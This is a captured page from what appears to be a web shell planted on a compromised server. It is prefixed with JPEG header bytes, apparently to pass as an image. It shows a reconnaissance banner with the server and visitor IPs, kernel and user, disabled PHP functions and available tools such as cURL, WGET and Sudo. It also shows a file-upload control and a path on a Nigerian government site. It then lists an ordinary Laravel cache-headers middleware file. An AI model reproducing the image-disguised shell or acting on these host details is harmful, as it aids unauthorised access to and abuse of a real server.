ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.126.33 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Http/Middleware/ |
Upload File : |
<?php namespace Illuminate\Http\Middleware; use Closure; use Illuminate\Support\Carbon; class SetCacheHeaders { /** * Add cache related HTTP headers. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param string|array $options * @return \Symfony\Component\HttpFoundation\Response * * @throws \InvalidArgumentException */ public function handle($request, Closure $next, $options = []) { $response = $next($request); if (! $request->isMethodCacheable() || ! $response->getContent()) { return $response; } if (is_string($options)) { $options = $this->parseOptions($options); } if (isset($options['etag']) && $options['etag'] === true) { $options['etag'] = md5($response->getContent()); } if (isset($options['last_modified'])) { if (is_numeric($options['last_modified'])) { $options['last_modified'] = Carbon::createFromTimestamp($options['last_modified']); } else { $options['last_modified'] = Carbon::parse($options['last_modified']); } } $response->setCache($options); $response->isNotModified($request); return $response; } /** * Parse the given header options. * * @param string $options * @return array */ protected function parseOptions($options) { return collect(explode(';', $options))->mapWithKeys(function ($option) { $data = explode('=', $option, 2); return [$data[0] => $data[1] ?? true]; })->all(); } }